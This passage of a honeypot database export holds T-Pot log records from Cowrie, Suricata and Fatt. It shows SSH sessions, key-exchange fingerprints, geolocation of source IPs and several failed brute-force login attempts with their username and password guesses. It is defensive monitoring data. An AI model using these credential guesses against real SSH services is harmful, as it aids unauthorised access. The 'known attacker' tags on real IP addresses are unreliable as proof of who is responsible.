"2021-09-20T11:03:56.922250", "@timestamp": "2021-09-20T11:03:56.922Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20142	5.188.62.250	109.199.241.180	Suricata	2021-09-20 14:03:57.909547+03	2021-09-20 14:15:02.009613+03	{"_id": "3gXgAnwBvYTbRNuEfPjB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:03:57.785717+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1262}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.250", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 776065871904053, "payload": "AAADjAoU05wUCRLCMUdXluQjDC5NrwAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAcWFlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYyxhcmNmb3VyLDNkZXMtY2JjAAAAcWFlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYyxhcmNmb3VyLDNkZXMtY2JjAAAAUGhtYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTIsaG1hYy1zaGEyLTI1NixobWFjLXNoYTEsaG1hYy1zaGExLTk2AAAAUGhtYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTIsaG1hYy1zaGEyLTI1NixobWFjLXNoYTEsaG1hYy1zaGExLTk2AAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAD2DPU4KDvCy9s7", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44082, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:03:57.909547Z", "@timestamp": "2021-09-20T11:03:57.909Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\n.......1GW..#..M.....curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519...qaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc...qaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none................8(;...;"}}	1	\N	\N	alert	\N	\N
20143	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:03:57.850856+03	2021-09-20 14:15:02.010613+03	{"_id": "4AXgAnwBvYTbRNuEffhZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.250", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44082, "timestamp": "2021-09-20T11:03:57.850856", "@timestamp": "2021-09-20T11:03:57.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20144	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:03:58.705869+03	2021-09-20 14:15:02.012612+03	{"_id": "4QXgAnwBvYTbRNuEffhZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.124.200.114", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 3731, "timestamp": "2021-09-20T11:03:58.705869", "@timestamp": "2021-09-20T11:03:58.705Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20145	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:03:58.701991+03	2021-09-20 14:15:02.014613+03	{"_id": "5gXgAnwBvYTbRNuEffjf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.124.200.114:3731 (192.168.176.2:22) [session: c32403a8fc8d]", "session": "c32403a8fc8d", "@version": "1", "protocol": "ssh", "src_port": 3731, "dest_port": 22, "timestamp": "2021-09-20T11:03:58.701991Z", "@timestamp": "2021-09-20T11:03:58.701Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20146	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:03:58.118561+03	2021-09-20 14:15:02.015613+03	{"_id": "5QXgAnwBvYTbRNuEffje", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "0a2eba02f974", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:03:58.118561Z", "@timestamp": "2021-09-20T11:03:58.118Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20147	123.124.200.114	109.199.241.180	Suricata	2021-09-20 14:03:59.051502+03	2021-09-20 14:15:02.016613+03	{"_id": "7QXgAnwBvYTbRNuEgPiq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:03:58.353322+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.124.200.114", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1034567068574762, "payload": "AAADzAYUkbMo39ERkIb03nAspk3imQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 3731, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:03:59.051502Z", "@timestamp": "2021-09-20T11:03:59.051Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........(.......p,.M.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
20148	123.124.200.114	109.199.241.180	Fatt	2021-09-20 14:03:59.051502+03	2021-09-20 14:15:02.018612+03	{"_id": "7gXgAnwBvYTbRNuEgfhB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "123.124.200.114", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 3731, "dest_port": 22, "timestamp": "2021-09-20T11:03:59.051502", "@timestamp": "2021-09-20T11:03:59.051Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20149	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:03:59.181483+03	2021-09-20 14:15:02.019613+03	{"_id": "7wXgAnwBvYTbRNuEgfh7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "0a2eba02f974", "@version": "1", "duration": 1.3318045139312744, "timestamp": "2021-09-20T11:03:59.181483Z", "@timestamp": "2021-09-20T11:03:59.181Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20503	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:29.089675+03	2021-09-20 14:15:02.457613+03	{"_id": "mAXgAnwBvYTbRNuE9vm3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:29.089675Z", "@timestamp": "2021-09-20T11:04:29.089Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20150	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:03:59.052139+03	2021-09-20 14:15:02.020613+03	{"_id": "8AXgAnwBvYTbRNuEgfh8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c32403a8fc8d", "@version": "1", "timestamp": "2021-09-20T11:03:59.052139Z", "@timestamp": "2021-09-20T11:03:59.052Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20151	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:03:59.07116+03	2021-09-20 14:15:02.022612+03	{"_id": "8QXgAnwBvYTbRNuEgfh8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "57ce6324e96a", "@version": "1", "duration": 2.360058546066284, "timestamp": "2021-09-20T11:03:59.071160Z", "@timestamp": "2021-09-20T11:03:59.071Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20152	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:04:00.538172+03	2021-09-20 14:15:02.023613+03	{"_id": "8gXgAnwBvYTbRNuEhfhk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.login.failed", "message": "login attempt [gerrard/gerrard] failed", "session": "c32403a8fc8d", "@version": "1", "password": "gerrard", "username": "gerrard", "timestamp": "2021-09-20T11:04:00.538172Z", "@timestamp": "2021-09-20T11:04:00.538Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20153	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:03:52.645939+03	2021-09-20 14:15:02.024612+03	{"_id": "sgXgAnwBvYTbRNuEZvhq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.login.failed", "message": "login attempt [maestro/123] failed", "session": "1478cd8a8a3b", "@version": "1", "password": 